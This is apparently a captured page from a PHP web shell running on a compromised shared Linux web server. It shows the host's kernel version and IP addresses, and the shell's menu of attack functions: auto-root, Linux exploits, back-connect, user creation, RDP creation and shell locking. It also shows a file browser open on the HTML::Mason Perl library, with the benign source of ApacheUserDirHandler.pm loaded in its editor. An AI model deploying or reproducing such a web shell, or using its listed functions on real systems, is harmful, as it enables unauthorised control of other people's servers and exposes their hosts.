Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
HTML /
Mason /
[ HOME SHELL ]
Name
Size
Permission
Action
Apache
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwxr-xr-x
Compiler
[ DIR ]
drwxr-xr-x
Component
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
Resolver
[ DIR ]
drwxr-xr-x
Admin.pod
38.91
KB
-rw-r--r--
ApacheHandler.pm
35.64
KB
-rw-r--r--
ApacheUserDirHandler.pm
3.5
KB
-rw-r--r--
CGIHandler.pm
18.75
KB
-rw-r--r--
Compiler.pm
28.23
KB
-rw-r--r--
Component.pm
17
KB
-rw-r--r--
ComponentSource.pm
5.27
KB
-rw-r--r--
Devel.pod
75.65
KB
-rw-r--r--
Escapes.pm
2.82
KB
-rw-r--r--
Exceptions.pm
16.24
KB
-rw-r--r--
FAQ.pod
56.01
KB
-rw-r--r--
FakeApache.pm
11.72
KB
-rw-r--r--
Handler.pm
970
B
-rw-r--r--
Interp.pm
45.93
KB
-rw-r--r--
Lexer.pm
18.47
KB
-rw-r--r--
MethodMaker.pm
5.68
KB
-rw-r--r--
Params.pod
33.54
KB
-rw-r--r--
Parser.pm
483
B
-rw-r--r--
Plugin.pm
5.41
KB
-rw-r--r--
Request.pm
77.58
KB
-rw-r--r--
Resolver.pm
3.38
KB
-rw-r--r--
Subclassing.pod
9.78
KB
-rw-r--r--
Tests.pm
24.22
KB
-rw-r--r--
Tools.pm
9.43
KB
-rw-r--r--
Utils.pm
2.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ApacheUserDirHandler.pm
# -*- perl -*- # Written by Steve Haslam. # Updated for Apache2 by Derek W. Poon. # All rights reserved. # This program is free software; you can redistribute it and/or modify it # under the same terms as Perl itself. # HTML::Mason::ApacheUserDirHandler # Run as a mod_perl request handler, create # HTML::Mason::ApacheHandler objects on demand to handle requests, # keying on the username from the URI. Keep the created ApacheHandler # objects in a cache. require 5; package HTML::Mason::ApacheUserDirHandler; use strict; use HTML::Mason::ApacheHandler; BEGIN { if (HTML::Mason::ApacheHandler::APACHE2) { require Apache2::Const; import Apache2::Const qw(DECLINED); require Apache2::Log; require Apache2::RequestUtil; } else { require Apache::Constants; import Apache::Constants qw(DECLINED); require Apache::Log; } } use vars qw(%userdir_handlers); sub handler { my $r = shift; my $apr = HTML::Mason::ApacheHandler::APACHE2 ? $r : Apache::Request->new($r); $apr->log->debug("Finding correct handler for ".$r->uri); if ($r->uri =~ m|^/~([a-zA-Z][a-zA-Z0-9_]*)/(.*)|) { my($username, $subpath) = ($1, $2); my $h = $userdir_handlers{$username}; if ($h) { if (ref($h)) { $apr->log->debug("Reusing $h for user \"$username\""); return $h->handle_request($r); } else { $apr->log->debug("Skipping previously bad username \"$username\" ($h)"); return DECLINED; } } $apr->log->debug("Trying to create new handler for \"$username\""); my ($u_name, $u_passwd, $u_uid, $u_gid, $u_quota, $u_comment, $u_gcos, $u_dir, $u_shell, $u_expire) = getpwnam($username); if (!$u_name) { $apr->log->error("User \"$username\" not found"); $userdir_handlers{$username} = "User not found"; return DECLINED; } if (!-d $u_dir) { $apr->log->error("User \"$username\" has non-existent home directory \"$u_dir\""); $userdir_handlers{$username} = "Home directory does not exist"; return DECLINED; } my $comp_root = "$u_dir/public_html"; if (!-d $comp_root) { $apr->log->error("User \"$username\": proposed component root $comp_root does not exist"); $userdir_handlers{$username} = "Proposed component root does not exist"; return DECLINED; } eval { my $spooldir = $r->dir_config('XMasonSpoolDir') || "/var/cache/mason"; my $spoolname = $username; # Vet $username here if we expand the regex to match it above my @args_method = defined $r->dir_config('MasonArgsMethod') ? (args_method => $r->dir_config('MasonArgsMethod')) : (); $h = HTML::Mason::ApacheHandler->new(data_dir => "$spooldir/$spoolname", comp_root => $comp_root, apache_status_title => "HTML::Mason status (for $username)", in_package => "HTML::Mason::UserDirCommands::$username", @args_method); }; if ($@) { my $err = $@; $apr->log->error("Failed to create Mason handler object: $err"); $userdir_handlers{$username} = $err; return DECLINED; } $apr->log->debug("New handler created as $h, chaining request"); $userdir_handlers{$username} = $h; return $h->handle_request($r); } else { $apr->log->debug("$r->uri does not look like a userdir URI, declining"); return DECLINED; } } __END__
Close